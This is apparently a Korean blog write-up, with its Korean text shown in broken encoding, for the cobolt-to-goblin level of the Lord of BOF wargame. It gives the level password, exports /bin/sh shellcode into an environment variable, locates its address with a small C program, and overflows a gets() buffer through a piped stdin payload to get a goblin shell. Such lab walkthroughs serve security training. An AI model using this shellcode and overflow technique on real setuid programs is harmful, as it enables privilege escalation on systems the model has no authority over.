wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of BOF

3. cobolt → goblin

Kortsec1 2018. 7. 25. 22:35

id : cobolt

pw : hacking exposed



์ด๋ฒˆ ๋ฌธ์ œ๋Š” argv๋Œ€์‹  stdin์œผ๋กœ ์ž…๋ ฅ๊ฐ’์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. 

argv๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์—†์œผ๋‹ˆ, 'ํ™˜๊ฒฝ๋ณ€์ˆ˜'๋ฅผ ์ด์šฉํ•ด ๋ณด๋„๋ก ํ• ๊ฒŒ์š”.


[cobolt@localhost cobolt]$ cat goblin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}




ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ž€?

ํ™˜๊ฒฝ๋ณ€์ˆ˜๋Š” OS๊ฐ€ ํ•„์š”ํ•œ ์ •๋ณด๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์— ์ ์žฌ์‹œ์ผœ ๋†“๊ณ  ํ•„์š”ํ•  ๋•Œ๋งˆ๋‹ค ๊ฐ€์ ธ๋‹ค ์“ฐ๋Š” ์˜์—ญ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •์ ์ด๋ผ, ์›ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด๋†“๊ณ  ์ฃผ์†Œ๋ฅผ ์ฐพ์•„ ret์— ๋ฎ์œผ๋ฉด ํ•ด๋‹น ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰ ๋˜๊ฒ ์ฃ ?



export SHELL=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


export ๋ช…๋ น์€ ์‚ฌ์šฉ์ž ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•ด ์ฃผ๋Š” ๋ช…๋ น์–ด ์ž…๋‹ˆ๋‹ค.

์œ„ ๋ช…๋ น์€ SHELL์ด๋ผ๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ์‰˜์ฝ”๋“œ๋ฅผ ์ €์žฅํ•ด ์ค๋‹ˆ๋‹ค.




[cobolt@localhost cobolt]$ export SHELL=`python -c 'print "\x90"*100 + "\x31\xc0
\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` [cobolt@localhost cobolt]$ env LESSOPEN=|/usr/bin/lesspipe.sh %s USERNAME= HISTSIZE=1000 HOSTNAME=localhost.localdomain LOGNAME=cobolt REMOTEHOST=192.168.30.1 MAIL=/var/spool/mail/cobolt TERM=xterm HOSTTYPE=i386 PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/cobolt/bin HOME=/home/cobolt INPUTRC=/etc/inputrc SHELL=1๓ฟฟh//shh/binโ“แ™ฐ อ€ USER=cobolt BASH_ENV=/home/cobolt/.bashrc DISPLAY=192.168.30.1:0.0 LANG=en_US OSTYPE=Linux SHLVL=1

SHELL์ด๋ผ๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜๊ฐ€ ์ €์žฅ๋œ ๊ฒƒ์ด ๋ณด์ด์‹œ๋‚˜์š”?



์ด์ œ SHELL์˜ ๊ณ ์ •๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด ๋ด…์‹œ๋‹ค.

c์–ธ์–ด๋กœ ๊ฐ„๋‹จํ•œ ํ”„๋กœ๊ทธ๋žจ์„ ๋งŒ๋“ค์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


[cobolt@localhost cobolt]$ cat addr.c
#include 
int main(){
	printf("%p\n", getenv("SHELL"));
}
[cobolt@localhost cobolt]$ ./addr 0xbffffd49


์ € ์ฃผ์†Œ(0xbffffd49)๋ฅผ ret์— ๋ฎ์–ด์ฃผ๋Š” ์ผ๋งŒ ๋‚จ์•˜๋„ค์š”.


์ด๋ฒˆ ๋ฌธ์ œ๋Š” ๊ณต๊ฒฉ ์ฝ”๋“œ๊ฐ€ ๊ธฐ์กด๊ณผ ์•ฝ๊ฐ„ ๋‹ค๋ฅธ ํ˜•์‹์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.

pipe๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ ์ธ๋ฐ์š”, pipe( | )๋ž€, ํ”„๋กœ์„ธ์Šค๊ฐ„์˜ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ์—ฐ๊ฒฐํ•ด ์ฃผ๋Š” ์—ญํ• ๋กœ์„œ,

pipe๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์•ž์ชฝ์— ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค์˜ ํ‘œ์ค€ ์ถœ๋ ฅ์„ ๋’ค์ชฝ์— ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค์˜ ํ‘œ์ค€ ์ž…๋ ฅ์œผ๋กœ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.




์šฐ๋ฆฌ๊ฐ€ argv๋กœ ๋„ฃ์—ˆ๋˜ python ์ฝ”๋“œ๋ฅผ ํŒŒ์ดํ”„ ์•ž์ชฝ์œผ๋กœ, goblin์„ ์‹คํ–‰์‹œํ‚ค๋Š” ๋ช…๋ น์–ด๋ฅผ ๋’ค์ชฝ์œผ๋กœ ํ•ด์ฃผ๋ฉด ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.


(python -c 'print "A"*20 + "ํ™˜๊ฒฝ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ"') | ./goblin

์ด๋ ‡๊ฒŒ ํ•ด์ฃผ๋ฉด ์™ผ์ชฝ์˜ python๊ตฌ๋ฌธ์˜ ๊ฒฐ๊ณผ๊ฐ€ goblin์˜ ํ‘œ์ค€ ์ž…๋ ฅ์œผ๋กœ ์—ฐ๊ฒฐ๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.






ํ•˜์ง€๋งŒ, ์‹ค์ œ๋กœ ret๊นŒ์ง€ ๋ฎ์€๋’ค์— ์‹คํ–‰ ์‹œ์ผœ๋ณด๋ฉด ์‰˜์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ์š”, 

๊ทธ ์ด์œ ๋Š” shell์ด python ์œผ๋กœ๋ถ€ํ„ฐ EOF("์ž…๋ ฅ์ด ๋๋‚ฌ์Šต๋‹ˆ๋‹ค.")๋ฅผ ๋ฐ›์•„์„œ ์‹คํ–‰๋˜์ž๋งˆ์ž ๋๋‚˜๋ฒ„๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.


shell์ด ์‹คํ–‰๋˜๊ณ ๋„ ๊ณ„์† ์œ ์ง€๋˜๊ธฐ ์œ„ํ•ด์„  EOF๊ฐ€ ์ „๋‹ฌ๋˜์ง€ ์•Š๊ณ  ๊ณ„์† ์ž…๋ ฅ์„ ๋ฐ›๊ฒŒ ํ•ด์ฃผ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๊ทธ ์—ญํ• ์„ cat์ด ํ•ฉ๋‹ˆ๋‹ค.



(python -c 'print "A"*20 + "ํ™˜๊ฒฝ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ"'; cat) | ./goblin



์ด๋ ‡๊ฒŒ ๊ตฌ์„ฑ์€ ์™„๋ฃŒํ–ˆ์Šต๋‹ˆ๋‹ค. A 20๊ฐœ๋ฅผ ๋„ฃ๋Š” ์ด์œ ๋Š” ์ด์ œ ๋‹ค ์•„์‹œ๊ฒ ์ฃ ?

๋ชจ๋ฅด์‹œ๊ฒ ๋‹ค๋ฉด ์ด์ „ ํฌ์ŠคํŠธ๋ฅผ ๋‹ค์‹œ ํ•œ๋ฒˆ ๋ณด๊ณ  ์™€์ฃผ์„ธ์š”^^

http://kortsec1n4mationm.tistory.com/3?category=1010394



๊ทธ๋ ‡๋‹ค๋ฉด ์•„๊นŒ c์–ธ์–ด๋กœ ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด์„œ ์ฐพ์•„๋‚ธ ํ™˜๊ฒฝ๋ณ€์ˆ˜์˜ ์ฃผ์†Ÿ๊ฐ’์„ ๋„ฃ๊ณ  ์‹คํ–‰์‹œ์ผœ ๋ณผ๊นŒ์š”?


[cobolt@localhost cobolt]$ (python -c 'print "A"*20 + "\x49\xfd\xff\xbf"';cat) | ./goblin AAAAAAAAAAAAAAAAAAAApรพรฟยฟ id uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) my-pass euid = 503 hackers proof


์„ฑ๊ณต์ ์œผ๋กœ shell์ด ๋”ฐ์กŒ์Šต๋‹ˆ๋‹ค~

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of BOF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

5. orc โ†’ wolfman  (0) 2019.05.02
4. goblin โ†’ orc  (0) 2018.07.26
2. gremlin โ†’ cobolt  (1) 2018.07.23
1. gate โ†’ gremlin  (0) 2018.07.23